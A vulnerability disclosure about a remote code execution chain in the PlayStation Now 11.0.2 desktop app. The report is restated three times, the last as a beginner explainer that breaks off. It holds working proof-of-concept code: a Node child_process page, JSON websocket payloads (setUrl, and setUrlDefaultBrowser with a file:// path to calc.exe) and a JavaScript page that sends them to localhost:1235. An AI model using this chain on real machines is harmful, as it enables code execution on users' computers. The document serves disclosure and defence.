Websites Can Run Arbitrary Code on Machines Running the 'PlayStation Now' Application
The PlayStation Now application runs a local websocket server that does not check the Origin header, allowing any website to send commands. An attacker can use this to make the Electron-based AGL component load a malicious URL, which then executes arbitrary code on the user's machine.
- Paid in 8 days
- Disclosed after 7 months
Summary by the program
Summary by the researcher
Summary
The PlayStation Now application version 11.0.2 is vulnerable to remote code execution (RCE). Any website loaded in any browser on the same machine can run arbitrary code on the machine through a vulnerable websocket connection.
- The local websocket server at
localhost:1235does not check the origin of incoming requests.- This allows websites loaded in browsers on the same machine to send requests to the websocket server.
- Websockets are not bound by the Same-Origin Policy so the websocket server has to do this manually.
- psnow launches an Electron application named
AGL.- It's possible to tell AGL to load a specific website with a command sent to the websocket server.
- As a result, the websites above can tell AGL to load any remote URL.
- It's also possible to tell
AGLto run any local application via thesetUrlDefaultBrowsercommand.
- The AGL Electron application has
nodeIntegration: trueso JavaScript running in any loaded URL can spawn new processes.- So any URL loaded in the AGL application can run code on the target machine.
Chaining these three issues gives us RCE.
Description
The PlayStation Now application (psnow moving forward) is an online streaming application for playing PlayStation games. Version 11.0.2 is the current version at the time of writing. The latest version can be downloaded from https://download-psnow.playstation.com/downloads/psnow/pc/latest.
It has two major components: QAS and AGL.
QAS
QAS is an executable named psnowlauncher.exe and is a Qt5 desktop application. This is the main application that is executed when the user runs psnow. The default installation location is C:\Program Files (x86)\PlayStationNow\psnowlauncher.exe.
Note: Running it in a Virtual Machine (VM) returns a warning. This can be ignored for this walkthrough.
After launch, it runs a different application called AGL. The following picture is the complete list of processes in Process Monitor.
Processes in procmon:
The QAS application also runs a websocket server at localhost:1235. netstat -anb in an elevated command line tells us about it:
websocket server:
AGL
AGL is an Electron application. In a typical execution, it's spawned by QAS. In the current version, it's run with this url command line parameter:
"C:\Program Files (x86)\PlayStationNow\agl\agl.exe" --url=https://psnow.playstation.com/app/1.10.43/105/00d3603f8/
This is the URL of the page that will be initially loaded by the AGL application.
AGL execution
Issue 1: nodeIntegration Set to true
nodeIntegration is the ability for the JavaScript running in an Electron BrowserWindow to access the Node.js APIs. The default value is false but it is set to true in AGL. Any JavaScript loaded by AGL will be able to spawn processes on the machine. This can lead to arbitrary code execution. The AGL application performs no checks on what URLs it loads.
We can check this by running AGL from the command line with a URL that contains some Node code. The following code spawns a new processes and runs the Windows Calculator app (calc).
<html>
<head>
<title>This should pop calc on Windows</title>
</head>
<body>
<script>
require('child_process')
.exec('calc')
</script>
</body>
</html>
I have stored this payload in an S3 bucket. If we load that remote URL in AGL we can see calc spawning. To reproduce, run the following command in a VM and see AGL running the calculator application:
"C:\Program Files (x86)\PlayStationNow\agl\agl.exe" --url=https://[redacted].s3.us-east-1.amazonaws.com/node.html
Popping calc:
We can see the new processes in Process Monitor:
This is not that useful. We can run code on our own machine, WOW! As Raymond Chen said It rather involved being on the other side of this airtight hatchway.
Proxying The Applications
We can proxy psnow with Burp. Use the Windows proxy settings (WinINET proxy settings).
- Run
control.exe inetcpl.cpl,,4. This opens the Windows proxy settings without having to open Internet Explorer. - Click on
LAN Settingsand set the proxy.- Make sure nothing under
Automatic Configurationis checked. - Make sure the
Bypass proxy server for local addressesis NOT checked.
- Make sure nothing under
- Set the proxy to the listener, Burp's default is
127.0.0.1:8080. - Add Burp's Certificate Authority (CA) to the Windows certificate store.
- https://portswigger.net/support/installing-burp-suites-ca-certificate-in-internet-explorer
- The instructions mention Internet Explorer but it's actually for Windows.
Identifying Traffic in Burp
In Burp, we will see traffic to/from both QAS and AGL. There is other traffic (e.g, browser traffic, Windows update). The traffic from psnow has the word gkApollo in its User-Agent header.
The user-agent for requests coming from the two applications has more indicators:
- QAS is the Qt5 app and has
QtWebEngine/5.5.1. - AGL is based on Electron and it has
Electron/1.4.16andplaystation-now/0.0.0.
I am using a Burp extension named Request Highlighter to highlight requests based on these words in the user-agent.
In my setup, AGL (Electron) is yellow and QAS (Qt5) is blue.
Local Websocket Server
QAS starts a local websocket server on port 1235. Then the website loaded in AGL (in this case "psnow.playstation.com/app/") connects to it and sends commands to the server.
Issue 2: Local Websocket Server does not Check the Origin Header
This is a vulnerable setup for seamless communication between a website and a desktop application. A website sends requests to a local webserver to do something (e.g., launch an application). This setup is vulnerable if the local server does not check the Origin header and/or where the request is coming from.
Some examples of other vulnerable setups:
Tavis Ormandy from Google Project Zero found a very similar setup in Logitech Options.
Another by TavisO for TrendMicro. Not websocket but involved a local webserver: https://bugs.chromium.org/p/project-zero/issues/detail?id=693
Zoom used a local webserver to automatically launch the application from the website. Disclosure by Jonathan Leitschuh.
Why is this bad? Any website can send these commands. This means I can put JavaScript code on my own website. If a user running psnow opens my website on the same machine (in any browser), my website connects to http://localhost:1235 and sends requests to the websocket server. These requests will be processed.
Yet Another Chat Application as Proof of Concept
I stole the client code of a websocket chat app and modified it to simulate the evil website. This small app connects to ws://localhost:1235, prints any message received and allows us to send messages at will. You can see the source at:
- https://[redacted].s3.amazonaws.com/agl-poc/chat-ws.html
- Open the page in a browser in a different machine and see the source. It's simple enough that I could understand it.
- Start the psnow app in a VM.
- Open the above URL in a browser in the same VM.
- See the websocket messages from the psnow app in the browser.
- If we keep the chat app running, it will keep printing messages received from the client.
- Send any message to the local server via the text field.
Websocket Messages
Now we need to look into the websocket messages and how we can exploit them.
After opening the initial URL at https://psnow.playstation.com/app/1.10.43/105/00d3603f8/ we can see the Connection: Upgrade request to this server from psnow.playstation.com. This is coming from the psnow website loaded in AGL. The initial request is a typical websocket handshake.
Now we can switch to the Proxy > Websockets history tab in Burp to see the websocket messages.
All the requests are in JSON (probably created by JSON.stringify). The interesting ones start with command. For example:
{
"command": "isMicConnected",
"params": {},
"source": "AGL",
"target": "QAS"
}
command: What to do.params: Command parameters.source: The program issuing the command.target: The program running the command.
Both target and source can be the same app. I do not think it really matters what the source is. I think only target is mandatory.
We can search for more commands in websocket messages. The most important command is setUrl. There are more commands in the source of the Electron app (unpack app.asar and search for commandHandler) but this is the most useful along with setUrlDefaultBrowser (opens a URL in the default browser on the machine).
{
"command": "setUrl",
"params": {
"url": "https://psnow.playstation.com/app/1.10.43/105/00d3603f8/"
},
"source": "AGL",
"target": "QAS"
}
This is AQL telling QAS to load this URL. QAS will then go and load that URL. We can send this request to Burp Repeater and send the message again with a different URL. For example, let's tell QAS to load https://example.net.
But this is not fun. We want AGL to load websites and not QAS. WHAT IF we switched target and source?
{"command":"setUrl","params":{"url":"https://example.net"},"source":"QAS","target":"AGL"}
This command will tell AGL (the Electron app) to load example.net. The gif has been minimized, please click on it to enlarge it:
Later, I found out that we can use another TavisO bug to get RCE another way. https://bugs.chromium.org/p/project-zero/issues/detail?id=693
We can abuse the setUrlDefaultBrowser command. It gets passed to shell.openExternal(url) and allows the file scheme.
So the following command should pop calc:
{"command":"setUrlDefaultBrowser","params":{"url":"file:///c:/windows/system32/calc.exe"},"source":"QAS","target":"AGL"}
Note: QAS does not have this command.
Websockets are not bound by the Same-Origin Policy so any website can send these messages. For an explanation please see https://blog.securityevaluators.com/websockets-not-bound-by-cors-does-this-mean-2e7819374acc.
Issue 3: You Can Tell AGL to Load Arbitrary Websites
A single websocket message is enough to make AGL load any URL. There are no restrictions here. This is not great, considering we saw what bad code on a website can do to AGL.
Putting Everything Together
So far we have established three things:
- If a website with Node code is loaded in AGL, we can run arbitrary on the target's machine.
- Any website opened in the browser on a machine with psnow running can connect to the local websocket and send messages.
- A websocket command with
setUrlorsetUrlDefaultBrowsercan tell AGL to load any URL.
Possible Attack Scenario
- User is running psnow on their machine.
- Note that when the users close the psnow window it gets minimized to tray and is still running. So there's a good chance that psnow is running if they have used it in the same session. The websocket server is still running when the application is minimized.
- The user opens a website in their browser. Any browser will do.
- Someone can post a link to a website with bad code in chat/Discord, it could be a link on forums. The possibilities are endless.
- The website in the browser connects to the websocket server at
ws://localhost:1235. - The website sends a message to the websocket server. The message tells AGL to load another website that contains node code.
{"command":"setUrl","params":{"url":"https://[redacted].s3.us-east-1.amazonaws.com/node.html"},"source":"QAS","target":"AGL"}- Alternatively, it can abuse the
setUrlDefaultBrowsercommand.
- AGL loads the new website. Arbitrary code runs on the user's machine.
- ???
- RCE.
Steps To Reproduce:
If you have read up until here, you deserve a calc popping gif.
- Run psnow in a VM.
- Go to the following URL in a browser on the same machine:
- https://[redacted].s3.amazonaws.com/agl-poc/calc-ws.html
- Watch calc pop.
- Optionally, paste the following command in the text field and press send to see calc pop again.
{"command":"setUrl","params":{"url":"https://[redacted].s3.us-east-1.amazonaws.com/node.html"},"source":"QAS","target":"AGL"}- You can also do other fun things like enabling dev tools.
The code in calc-ws is similar to the chat code. After the socket to the local websocket server opens, the payload above is sent. See the modification heres:
let url = 'ws://localhost:1235/'
let socket = new WebSocket(url);
let payload = '{"command":"setUrl","params":{"url":"https://[redacted].s3.us-east-1.amazonaws.com/node.html"},"source":"QAS","target":"AGL"}';
// send the payload when the socket is opened.
socket.onopen = function(event) {
showMessage('before payload');
socket.send(payload);
showMessage('after payload');
};
The following gif shows the whole chain. Again, please see it in full-size.
Bonus: Minor Issue 0: Websocket Server Listening on 0.0.0.0
The application is listening on all interfaces (0.0.0.0) which is problematic. This is also not fun because the Windows firewall prompt will pop up when its executed for the first time. Meaning anyone who can contact this port might be able to send commands to this websocket server.
Remediation or How Can We Fix This?
- Quick and effective win: The local websocket server should validate the
Originheader of the incoming request and only allow requests from good Origins specified in a list.- This is the same recommendation by TavisO in https://bugs.chromium.org/p/project-zero/issues/detail?id=1663. And he is much smarter than I will ever be.
- Bonus win: Do not listen on all interfaces, bind the server to
localhost.
Impact
Attackers can run code on users' machines. They can get to the other side of the airtight hatchway.
Context
PlayStation Now (psnow) is an online streaming application for playing PlayStation games on a PC. The version covered here is 11.0.2, which the researcher describes as current at the time of writing, and the latest build could be downloaded from https://download-psnow.playstation.com/downloads/psnow/pc/latest.
The application has two major components, QAS and AGL.
QAS is a Qt5 desktop application shipped as psnowlauncher.exe. It is the main executable started when the user runs psnow, and its default installation location is C:\Program Files (x86)\PlayStationNow\psnowlauncher.exe. After launch it starts AGL, and it also runs a websocket server on localhost:1235.
AGL is an Electron application, normally spawned by QAS. In the current version it is started with a url command line parameter that points at the page it loads first:
"C:\Program Files (x86)\PlayStationNow\agl\agl.exe" --url=https://psnow.playstation.com/app/1.10.43/105/00d3603f8/
The website loaded in AGL connects to the local websocket server and exchanges JSON commands with QAS. The website loaded in AGL connects to the local websocket server and sends commands to it.
Setup
The preconditions are a machine running psnow 11.0.2 and a browser on the same machine.
Tools used:
- A virtual machine to run psnow. Running it in a VM returns a warning, which the researcher says can be ignored for the walkthrough.
- Process Monitor, to list the processes psnow spawns.
- An elevated command line with
netstat -anb, to see the listening websocket server. - Burp Suite as an intercepting proxy, with its CA certificate installed in the Windows certificate store.
- The Burp extension Request Highlighter, to colour requests by user agent.
To proxy psnow, the researcher uses the Windows (WinINET) proxy settings:
- Run
control.exe inetcpl.cpl,,4to open the Windows proxy settings without opening Internet Explorer. - Click
LAN Settingsand set the proxy. Make sure nothing underAutomatic Configurationis checked, and make sureBypass proxy server for local addressesis NOT checked. - Point the proxy at the listener, Burp's default being
[redacted]:8080. - Add Burp's CA to the Windows certificate store. The PortSwigger instructions mention Internet Explorer, but they apply to Windows generally.
Traffic from both components carries the word gkApollo in its User-Agent header, which separates it from other traffic such as browser requests or Windows Update. The user agent also identifies the component:
| Component | User agent indicators |
|---|---|
| QAS | QtWebEngine/5.5.1 |
| AGL | Electron/1.4.16 and playstation-now/0.0.0 |
With Request Highlighter configured on those strings, AGL (Electron) shows up yellow and QAS (Qt5) blue in the proxy history.
Finding it
The researcher looked at how the two components communicate and found three separate weaknesses that chain together.
- The local websocket server at
localhost:1235does not check the origin of incoming requests. Websockets are not bound by the Same-Origin Policy, so the server has to do this check itself. Because it does not, websites loaded in browsers on the same machine can send requests to it. - psnow launches the Electron application
AGL, and it is possible to tell AGL to load a specific website with a command sent to the websocket server. The same channel also allows telling AGL to run any local application through thesetUrlDefaultBrowsercommand. - AGL runs with
nodeIntegration: true, so JavaScript running in any loaded URL can spawn new processes.
Chained, these give remote code execution: any website loaded in any browser on the same machine can run arbitrary code on that machine through the vulnerable websocket connection.
Issue 1: nodeIntegration set to true
nodeIntegration is the Electron setting that lets JavaScript running in a BrowserWindow access the Node.js APIs. Its default is false, but AGL sets it to true. Any JavaScript loaded by AGL can therefore spawn processes, and AGL performs no checks on what URLs it loads.
The researcher confirmed this by running AGL from the command line with a URL containing Node code. The following page spawns a process and runs the Windows Calculator:
<html>
<head>
<title>This should pop calc on Windows</title>
</head>
<body>
<script>
require('child_process')
.exec('calc')
</script>
</body>
</html>
The payload was stored in an S3 bucket and loaded as a remote URL:
Running that command in a VM makes AGL start the calculator, and the new processes are visible in Process Monitor. On its own this only runs code on the researcher's own machine, which the researcher compares to Raymond Chen's airtight hatchway: not useful until something else can make the victim load the page.
Issue 2: the local websocket server does not check the Origin header
QAS starts a websocket server on port 1235, and the website loaded in AGL (in this case psnow.playstation.com/app/) connects to it and sends commands. This pattern, a website talking to a local server to make a desktop application do something such as launch an application, is vulnerable when the local server does not check the Origin header and/or where the request comes from.
The researcher cites similar setups found elsewhere: Tavis Ormandy of Google Project Zero found a very similar issue in Logitech Options (https://bugs.chromium.org/p/project-zero/issues/detail?id=1663), and another TavisO report against TrendMicro involved a local webserver rather than a websocket (https://bugs.chromium.org/p/project-zero/issues/detail?id=693). Zoom used a local webserver to launch the application from its website, disclosed by Jonathan Leitschuh (https://medium.com/bugbountywriteup/zoom-zero-day-4-million-webcams-maybe-an-rce-just-get-them-to-visit-your-website-ac75c83f4ef5).
Why this matters: any website can send these commands. JavaScript on the attacker's site, opened by a user who is running psnow on the same machine in any browser, connects to http://localhost:1235 and sends requests to the websocket server, and those requests are processed.
To prove it, the researcher took the client code of a websocket chat application and modified it to act as the malicious website. The small app connects to ws://localhost:1235, prints any message it receives and lets the user send messages at will. The source is at https://[redacted].s3.amazonaws.com/agl-poc/chat-ws.html, and the researcher notes it is simple enough to read.
- Start the psnow app in a VM.
- Open the above URL in a browser in the same VM.
- Watch the websocket messages from the psnow app appear in the browser. Keeping the chat app running keeps printing messages received from the client.
- Send any message to the local server through the text field.
The websocket messages
After the initial URL at https://psnow.playstation.com/app/1.10.43/105/00d3603f8/ is opened, a Connection: Upgrade request goes to psnow.playstation.com, coming from the psnow website loaded in AGL. It is a typical websocket handshake. Switching to Proxy > Websockets history in Burp shows the messages exchanged afterwards.
All messages are JSON, probably produced by JSON.stringify. The interesting ones start with command, for example:
{
"command": "isMicConnected",
"params": {},
"source": "AGL",
"target": "QAS"
}
The fields are:
command: what to do.params: command parameters.source: the program issuing the command.target: the program running the command.
Source and target can be the same application. The researcher does not think the source value really matters and believes only target is mandatory.
Searching the websocket messages for more commands turns up setUrl as the most important one. There are more commands in the source of the Electron app (unpack app.asar and search for commandHandler), but setUrl is the most useful along with setUrlDefaultBrowser, which opens a URL in the machine's default browser.
{
"command": "setUrl",
"params": {
"url": "https://psnow.playstation.com/app/1.10.43/105/00d3603f8/"
},
"source": "AGL",
"target": "QAS"
}
This is AGL telling QAS to load that URL, and QAS then loads it. Sending the message again from Burp Repeater with a different URL, such as https://example.net, makes QAS load that instead. That is not the interesting direction, though: the researcher wanted AGL, not QAS, to load websites, so swapped source and target:
{"command":"setUrl","params":{"url":"https://example.net"},"source":"QAS","target":"AGL"}
This tells the Electron application AGL to load example.net.
A second route to code execution comes from abusing setUrlDefaultBrowser, which passes its URL to shell.openExternal(url) and allows the file scheme. The following command should pop calc:
{"command":"setUrlDefaultBrowser","params":{"url":"file:///c:/windows/system32/calc.exe"},"source":"QAS","target":"AGL"}
QAS does not have this command. Because websockets are not bound by the Same-Origin Policy, any website can send these messages.
Issue 3: AGL can be told to load arbitrary websites
A single websocket message is enough to make AGL load any URL, with no restrictions. That is serious given what bad code on a website can do to AGL.
Exploitation
The three findings combine as follows:
- If a website with Node code is loaded in AGL, arbitrary code runs on the target's machine.
- Any website opened in a browser on a machine running psnow can connect to the local websocket and send messages.
- A websocket command with
setUrlorsetUrlDefaultBrowsercan tell AGL to load any URL.
Step 1: the user has psnow running
When the user closes the psnow window it is minimised to the tray and keeps running, and the websocket server keeps running while the application is minimised. If the user has used psnow in the same session, there is a good chance it is still running.
Step 2: the user opens an attacker's website
Any browser will do. The link can be posted in chat or Discord, placed on forums, or delivered in any other way.
Step 3: the page connects to the local server
The website in the browser connects to the websocket server at ws://localhost:1235.
Step 4: the page sends a command that makes AGL load the Node payload
The message tells AGL to load another website containing Node code:
Alternatively, the page can abuse the setUrlDefaultBrowser command.
Step 5: code runs
AGL loads the new website and arbitrary code runs on the user's machine.
Steps to reproduce
- Run psnow in a VM.
- Go to the following URL in a browser on the same machine: https://[redacted].s3.amazonaws.com/agl-poc/calc-ws.html
- Watch calc pop.
- Optionally, paste the following command in the text field and press send to see calc pop again:
Other things can be done the same way, such as enabling dev tools.
The calc-ws code is similar to the chat code. Once the socket to the local websocket server opens, it sends the payload:
let url = 'ws://localhost:1235/'
let socket = new WebSocket(url);
let payload = '{"command":"setUrl","params":{"url":"https://[redacted].s3.us-east-1.amazonaws.com/node.html"},"source":"QAS","target":"AGL"}';
// send the payload when the socket is opened.
socket.onopen = function(event) {
showMessage('before payload');
socket.send(payload);
showMessage('after payload');
};
Bonus: minor issue 0, the websocket server listens on [redacted]
The application listens on all interfaces ([redacted]), which is problematic. It is also not subtle: the Windows firewall prompt appears the first time it runs. Anyone who can reach the port might be able to send commands to the websocket server.
Root cause
The local websocket server does not validate the Origin header of incoming requests. The server does not validate the Origin header of incoming requests, and websockets are not subject to the Same-Origin Policy, so the browser will happily let any page open a connection to ws://localhost:1235 and send commands. The server also accepts commands that make AGL load an arbitrary URL, and AGL runs with nodeIntegration: true and no checks on the URLs it loads, so any page it loads gets Node.js APIs and can spawn processes. Chaining the three weaknesses turns a page visit into code execution. Listening on [redacted] means anyone who can contact the port might be able to send commands to the server.
Impact
An attacker can run code on the machines of users who have psnow running. The conditions are that psnow is running (it keeps running minimised to the tray) and that the user opens the attacker's page in any browser on the same machine. The attacker then gets to the other side of the airtight hatchway.
Fix
The report gives two recommendations:
- The local websocket server should validate the
Originheader of incoming requests and only allow requests from a list of good origins. This is the same recommendation TavisO made in the Logitech Options report. - Do not listen on all interfaces; bind the server to
localhost.
Variants to test
- Other desktop applications with a local websocket or HTTP server. Look for a server bound to a loopback port that the application's own web front end talks to. A positive result is that a page served from a different origin can open a connection and receive a response to a command, which shows the origin check is missing.
- Command handlers that load URLs. Enumerate the commands the local server accepts (in Electron apps, unpack
app.asarand search for the command handler) and look for anything that sets a URL, opens an external URL or launches a program. A positive result is a command that makes the privileged component load an attacker-chosen URL. - Electron windows with
nodeIntegration: true. If a privileged component loads remote content with Node integration enabled, a page containingrequire('child_process').exec(...)that spawns a process confirms code execution. shell.openExternalwith thefilescheme. If a command passes a URL toshell.openExternal, try afile:///URL pointing at a local executable. A positive result is the executable starting.- Binding on
[redacted]. Check whether the local server is reachable from another host on the network. A positive result is a connection from a different machine being accepted.
Hunting notes
This class of bug hides in the glue between a desktop application and its web front end: local websocket servers, local HTTP servers and custom protocol handlers that the application's own pages use. During recon, the signals are a process listening on a loopback port (visible with netstat -anb on Windows), a websocket handshake to a local address in proxy history, and JSON command messages with fields such as command, params, source and target. User-agent strings that identify the embedded runtimes, here QtWebEngine/5.5.1 for the Qt component and Electron/1.4.16 with playstation-now/0.0.0 for the Electron component, help separate the application's traffic from everything else in the proxy. The researcher showed impact by chaining the missing origin check to a URL-loading command and to nodeIntegration: true, ending with a page that pops the calculator from a browser on the same machine, and by noting that psnow keeps running in the tray after the window is closed, so the vulnerable server is often still up when a victim visits a link.
What happened, in plain words
PlayStation Now was a program you install on a Windows PC to stream PlayStation games. The researcher found that version 11.0.2 of that program could be made to run any code an attacker wanted, just by getting the user to open a web page in any browser on the same computer. A page visit was enough.
The trick works because the program runs a tiny private web server on the user's own machine, and that server accepts instructions from any web page that knows where to find it. One of those instructions tells a second part of the program, a built-in browser window, to open a web address of the attacker's choosing. That browser window is configured in a way that lets the page it displays run programs on the computer. Put the three pieces together and a web page can start any program on the victim's machine.
This write-up walks through the same steps the researcher took, in the same order, explaining each idea from scratch along the way.
The product and its two parts
PlayStation Now (psnow for short) is an online streaming application for playing PlayStation games on a PC. The version covered here is 11.0.2, which the researcher describes as current at the time of writing, and the latest build could be downloaded from https://download-psnow.playstation.com/downloads/psnow/pc/latest.
The application has two major components, QAS and AGL.
QAS is a Qt5 desktop application shipped as psnowlauncher.exe. Qt5 is a toolkit for building desktop programs; you do not need to know anything about it beyond that it produces a normal Windows application. QAS is the main executable started when the user runs psnow, and its default installation location is C:\Program Files (x86)\PlayStationNow\psnowlauncher.exe. After launch it starts AGL, and it also runs a websocket server on localhost:1235.
A websocket is a two-way connection between a program and a server that stays open, so both sides can send messages at any time. Think of it as a phone call that stays connected, rather than a letter you post and wait to be answered. localhost means "this same computer". The report notes the server actually listens on all interfaces ([redacted]). Port 1235 is simply the numbered door on that machine where the server waits for connections.
AGL is an Electron application, normally spawned by QAS. Electron is a framework that lets a program show web pages in its own window, using the same engine a browser uses. In the current version AGL is started with a url command line parameter that points at the page it loads first:
"C:\Program Files (x86)\PlayStationNow\agl\agl.exe" --url=https://psnow.playstation.com/app/1.10.43/105/00d3603f8/
Line by line: the quoted path is the location of agl.exe, the Electron program. --url= is a switch that tells it which address to open, and the address after it is the PlayStation Now web page that the window shows when it starts.
The website loaded in AGL connects to the local websocket server and exchanges JSON commands with QAS. JSON is a plain text format for structured data, made of names and values in curly braces, which both programs can read easily. The website loaded in AGL connects to the local websocket server and sends commands to it.
Setting up to watch the traffic
The preconditions are a machine running psnow 11.0.2 and a browser on the same machine.
Tools used:
- A virtual machine to run psnow. A virtual machine is a computer simulated inside your real computer, so anything that goes wrong stays contained. Running psnow in one returns a warning, which the researcher says can be ignored for the walkthrough.
- Process Monitor, a Windows tool that lists every program and sub-program running on the machine, so you can see what psnow starts.
- An elevated command line with
netstat -anb. An elevated command line is a terminal opened with administrator rights.netstatis a built-in Windows command that lists network connections and listening ports, and the-anbswitches make it show all connections, numeric addresses, and the program behind each one. - Burp Suite as an intercepting proxy, with its CA certificate installed in the Windows certificate store. A proxy is a middleman program that sits between an application and the internet: the application sends its traffic to the proxy, the proxy forwards it, and you get to read and change everything on the way. Burp Suite is a popular proxy for security testing. A CA certificate is a small file that lets the proxy prove to the application that it is allowed to read encrypted traffic; installing it in the Windows certificate store tells Windows to trust it.
- The Burp extension Request Highlighter, to colour requests by user agent. A user agent is a short line of text every request carries, saying which program and version sent it, a bit like a return address on an envelope.
To proxy psnow, the researcher uses the Windows (WinINET) proxy settings. WinINET is the part of Windows that most desktop programs use when they need to reach the internet, so changing its settings redirects their traffic.
- Run
control.exe inetcpl.cpl,,4to open the Windows proxy settings without opening Internet Explorer.control.exeopens Windows control panels,inetcpl.cplis the internet settings panel, and,,4jumps straight to the connections tab. - Click
LAN Settingsand set the proxy. Make sure nothing underAutomatic Configurationis checked, and make sureBypass proxy server for local addressesis NOT checked. The first setting would let Windows pick its own configuration and ignore yours; the second would skip the proxy for local addresses, which is exactly the traffic we want to see. - Point the proxy at the listener, Burp's default being
[redacted]:8080.[redacted]is another way of writing "this computer", and8080is the port where Burp waits. - Add Burp's CA to the Windows certificate store. The PortSwigger instructions mention Internet Explorer, but they apply to Windows generally.
Traffic from both components carries the word gkApollo in its User-Agent header, which separates it from other traffic such as browser requests or Windows Update. A header is an extra piece of information attached to a request, and User-Agent is the one that names the sending program.
The user agent also identifies the component:
| Component | User agent indicators |
|---|---|
| QAS | QtWebEngine/5.5.1 |
| AGL | Electron/1.4.16 and playstation-now/0.0.0 |
With Request Highlighter configured on those strings, AGL (Electron) shows up yellow and QAS (Qt5) blue in the proxy history, so you can tell at a glance which part of psnow sent each request.
Finding it
The researcher looked at how the two components communicate and found three separate weaknesses that chain together.
- The local websocket server at
localhost:1235does not check the origin of incoming requests. The origin is the address of the web page that opened the connection, and it is the main defence a local server has. Websockets are not bound by the Same-Origin Policy, so the server has to do this check itself. The Same-Origin Policy is a browser rule that normally stops a page from one website reading data from another website; it does not apply to websockets, so a page can open a websocket to anywhere, including the user's own machine. Because the server does not check, websites loaded in browsers on the same machine can send requests to it. - psnow launches the Electron application
AGL, and it is possible to tell AGL to load a specific website with a command sent to the websocket server. The same channel also allows telling AGL to run any local application through thesetUrlDefaultBrowsercommand. - AGL runs with
nodeIntegration: true, so JavaScript running in any loaded URL can spawn new processes. JavaScript is the programming language web pages are written in, and Node.js is a way of running JavaScript outside a browser with full access to the computer, including the ability to start programs.
Chained, these give remote code execution: any website loaded in any browser on the same machine can run arbitrary code on that machine through the vulnerable websocket connection. Remote code execution, usually shortened to RCE, means exactly what it says: someone else, from somewhere else, gets your computer to run their code.
Issue 1: nodeIntegration set to true
nodeIntegration is the Electron setting that lets JavaScript running in a BrowserWindow access the Node.js APIs. A BrowserWindow is Electron's name for a window that displays a web page. An API, short for application programming interface, is the set of commands one piece of software offers to another; here it is the set of Node.js commands a page can call. Its default is false, but AGL sets it to true. Any JavaScript loaded by AGL can therefore spawn processes, and AGL performs no checks on what URLs it loads.
The researcher confirmed this by running AGL from the command line with a URL containing Node code. The following page spawns a process and runs the Windows Calculator:
<html>
<head>
<title>This should pop calc on Windows</title>
</head>
<body>
<script>
require('child_process')
.exec('calc')
</script>
</body>
</html>
Line by line: <html>, <head>, <title> and <body> are the ordinary skeleton of any web page, and the title is just the text shown in the window's title bar. The interesting part is inside <script>, the tag that marks JavaScript. require('child_process') loads a Node.js module, a ready-made bundle of code, whose job is to start other programs. .exec('calc') then runs the Windows Calculator program. In a normal browser this would fail, because browsers do not have require or child_process; in AGL, with nodeIntegration on, it works.
The payload was stored in an S3 bucket and loaded as a remote URL. S3 is Amazon's file storage service, and a bucket is a folder in it that anyone with the address can read from.
This is the same launch command as before, with the PlayStation Now page replaced by the address of the malicious page. Running that command in a VM makes AGL start the calculator, and the new processes are visible in Process Monitor. On its own this only runs code on the researcher's own machine, which the researcher compares to Raymond Chen's airtight hatchway: if you can already run programs on your own computer, making it run one more is not an attack. It only becomes useful once something else can make the victim load the page.
Issue 2: the local websocket server does not check the Origin header
QAS starts a websocket server on port 1235, and the website loaded in AGL (in this case psnow.playstation.com/app/) connects to it and sends commands. This pattern, a website talking to a local server to make a desktop application do something such as launch an application, is vulnerable when the local server does not check the Origin header and/or where the request comes from. The Origin header is the line in a request that says which web page is asking; a server that ignores it will answer anyone.
The researcher cites similar setups found elsewhere: Tavis Ormandy of Google Project Zero found a very similar issue in Logitech Options (https://bugs.chromium.org/p/project-zero/issues/detail?id=1663), and another TavisO report against TrendMicro involved a local webserver rather than a websocket (https://bugs.chromium.org/p/project-zero/issues/detail?id=693). Zoom used a local webserver to launch the application from its website, disclosed by Jonathan Leitschuh (https://medium.com/bugbountywriteup/zoom-zero-day-4-million-webcams-maybe-an-rce-just-get-them-to-visit-your-website-ac75c83f4ef5). Project Zero is Google's security research team, and these links are public bug reports of the same shape.
Why this matters: any website can send these commands. JavaScript on the attacker's site, opened by a user who is running psnow on the same machine in any browser, connects to http://localhost:1235 and sends requests to the websocket server, and those requests are processed. The browser does not stop the connection, because the Same-Origin Policy does not cover websockets.
To prove it, the researcher took the client code of a websocket chat application and modified it to act as the malicious website. The small app connects to ws://localhost:1235, prints any message it receives and lets the user send messages at will. The source is at https://[redacted].s3.amazonaws.com/agl-poc/chat-ws.html, and the researcher notes it is simple enough to read.
- Start the psnow app in a VM.
- Open the above URL in a browser in the same VM.
- Watch the websocket messages from the psnow app appear in the browser. Keeping the chat app running keeps printing messages received from the client.
- Send any message to the local server through the text field.
The websocket messages
After the initial URL at https://psnow.playstation.com/app/1.10.43/105/00d3603f8/ is opened, a Connection: Upgrade request goes to psnow.playstation.com, coming from the psnow website loaded in AGL. It is a typical websocket handshake. A handshake is the opening exchange where a normal web request asks to be turned into a websocket; Connection: Upgrade is the header that makes that request. Switching to Proxy > Websockets history in Burp shows the messages exchanged afterwards.
All messages are JSON, probably produced by JSON.stringify. JSON.stringify is the standard JavaScript function that turns an object in code into JSON text, which is why the messages look so regular. The interesting ones start with command, for example:
{
"command": "isMicConnected",
"params": {},
"source": "AGL",
"target": "QAS"
}
The fields are:
command: what to do.params: command parameters.source: the program issuing the command.target: the program running the command.
The fields are command, params, source and target. Source and target can be the same application. The researcher does not think the source value really matters and believes only target is mandatory.
Searching the websocket messages for more commands turns up setUrl as the most important one. There are more commands in the source of the Electron app (unpack app.asar and search for commandHandler), but setUrl is the most useful along with setUrlDefaultBrowser, which opens a URL in the machine's default browser. app.asar is the single archive file Electron packs an application's code into, so unpacking it is how you read the program's own source. commandHandler is the piece of code that decides what to do with each incoming command.
{
"command": "setUrl",
"params": {
"url": "https://psnow.playstation.com/app/1.10.43/105/00d3603f8/"
},
"source": "AGL",
"target": "QAS"
}
This is AGL telling QAS to load that URL, and QAS then loads it. Sending the message again from Burp Repeater with a different URL, such as https://example.net, makes QAS load that instead. Burp Repeater is the part of Burp that lets you take a captured request, edit it and send it again as many times as you like. That is not the interesting direction, though: the researcher wanted AGL, not QAS, to load websites, so swapped source and target:
{"command":"setUrl","params":{"url":"https://example.net"},"source":"QAS","target":"AGL"}
This tells the Electron application AGL to load example.net. The only change from the previous message is which program is named as the target, and that is enough to redirect the instruction at the component that runs web pages with Node.js access.
A second route to code execution comes from abusing setUrlDefaultBrowser, which passes its URL to shell.openExternal(url) and allows the file scheme. shell.openExternal is an Electron function that hands a URL to the operating system and asks it to open it with whatever program normally handles that kind of address. The file scheme is the prefix file:// that points at a file on the local disk rather than at a website, so a file:// address can point straight at a program.
